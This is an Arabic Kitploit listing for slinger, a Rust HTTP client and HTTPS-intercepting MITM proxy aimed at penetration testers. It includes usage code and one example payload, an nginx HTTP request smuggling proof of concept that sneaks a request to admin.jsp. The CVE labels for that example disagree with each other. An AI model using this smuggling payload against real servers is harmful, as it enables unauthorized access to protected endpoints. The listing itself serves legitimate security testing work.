Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
slinger — عميل HTTP مطوَّر خصيصًا لباحثي الأمن السيبراني | Kitploit
أدوات/GitHubGitHub/emo-crab/slinger
تحليل الثغرات الأمنيةبروكسيات الويب والاعتراضاختبار أمان APIأمن الويباختبار الاختراق
GitHubemo-crab/slinger

slinger

عميل HTTP مطوَّر خصيصًا لباحثي الأمن السيبراني

عرض المستودع
302منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

Contributors Forks Stargazers Issues MIT License crates io


الشعار

slinger(投石器)

عميل HTTP مكتوب بلغة Rust مصمم للمخترقين.
استكشف التوثيق »

عرض توضيحي · الإبلاغ عن خطأ · طلب ميزة

حول المشروع

لقطة شاشة للمنتج

Slinger هو مساحة عمل تحتوي على:

slinger

مكتبة عميل HTTP الأساسية للغة Rust، مصممة للمخترقين.

  • سياسة إعادة توجيه قابلة للتخصيص
  • بروكسيات http/https وsocks5/socks5h
  • مخزن ملفات تعريف الارتباط (cookies)
  • طلب socket خام
  • HTTPS عبر tls

slinger-mitm

بروكسي وسيط (Man-in-the-Middle - MITM) مع اعتراض شفاف لحركة مرور HTTPS، مشابه لـ Burp Suite.

  • توليد تلقائي لشهادات CA مع إدارة محسّنة للشهادات (مستوحى من hudsucker)
  • تخزين مؤقت للشهادات لتحقيق أداء عالٍ
  • اعتراض شفاف لـ HTTPS باستخدام خلفية rustls
  • واجهات لاعتراض حركة المرور وتعديلها
  • أرقام تسلسلية عشوائية ومعالجة انحراف الساعة (clock skew)
  • إعادة استخدام تنفيذ Socket الخاص بـ slinger
  • حد أدنى من التبعيات الخارجية

(العودة إلى الأعلى)

البدء

استخدام slinger (عميل HTTP)

هذا المثال يفعّل بعض الميزات الاختيارية، لذلك قد يبدو ملف Cargo.toml الخاص بك هكذا:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

ثم الكود:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

استخدام slinger-mitm (بروكسي MITM)

أضف إلى ملف Cargo.toml الخاص بك:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

مثال على الكود:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

راجع slinger-mitm/README.md لمزيد من التفاصيل حول استخدام بروكسي MITM.

الميزات

يدعم Slinger الميزات الاختيارية التالية:

  • tls - ميزة TLS الأساسية (تفعّل أنواع وواجهات TLS دون خلفية محددة)
  • rustls - دعم HTTPS باستخدام Rustls (يتطلب tls، تنفيذ بلغة Rust خالصة)
  • http2 - دعم بروتوكول HTTP/2 (يتطلب خلفية TLS)
  • cookie - دعم التعامل مع ملفات تعريف الارتباط
  • charset - دعم ترميز الأحرف
  • serde - دعم التسلسل وإلغاء التسلسل
  • gzip - دعم ضغط Gzip
  • schema - دعم مخطط JSON (JSON Schema)

اختيار خلفية TLS

لاستخدام TLS، يجب عليك:

  1. تفعيل ميزة tls
  2. اختيار خلفية rustls، أو توفير موصل TLS مخصص

أمثلة على مجموعات الميزات:

root@kitploit:~
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

خلفية TLS مخصصة (مثل native-tls أو OpenSSL)

إذا كنت تريد استخدام native-tls أو OpenSSL أو مكتبات TLS أخرى، يمكنك تنفيذ موصل TLS مخصص. راجع native_tls_example.rs للحصول على مثال كامل حول كيفية دمج native-tls.

مثال

  • Nginx - تهريب HTTP (Http Smuggling) CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

لمزيد من الأمثلة، يرجى الرجوع إلى الأمثلة

(العودة إلى الأعلى)

المساهمة

المساهمات هي ما يجعل مجتمع المصادر المفتوحة مكانًا رائعًا للتعلّم والإلهام والإبداع. أي مساهمات تقدمها موضع تقدير كبير.

إذا كان لديك اقتراح من شأنه تحسين هذا المشروع، فيرجى عمل fork للمستودع وإنشاء طلب سحب (pull request). يمكنك أيضًا ببساطة فتح issue بوسم "enhancement". لا تنسَ منح المشروع نجمة! شكرًا مجددًا!

  1. قم بعمل Fork للمشروع
  2. أنشئ فرع الميزة الخاص بك (git checkout -b feature/AmazingFeature)
  3. قم بتنفيذ تغييراتك (git commit -m 'Add some AmazingFeature')
  4. ادفع إلى الفرع (git push origin feature/AmazingFeature)
  5. افتح طلب سحب (Pull Request)

(العودة إلى الأعلى)

الترخيص

موزّع بموجب ترخيص GPL-3.0-only. راجع LICENSE لمزيد من المعلومات.

(العودة إلى الأعلى)

التواصل

اسمك - @Kali_Team - [email protected]

رابط المشروع: https://github.com/emo-crab/slinger

(العودة إلى الأعلى)

شكر وتقدير

  • reqwest

(العودة إلى الأعلى)

تنزيل الأداة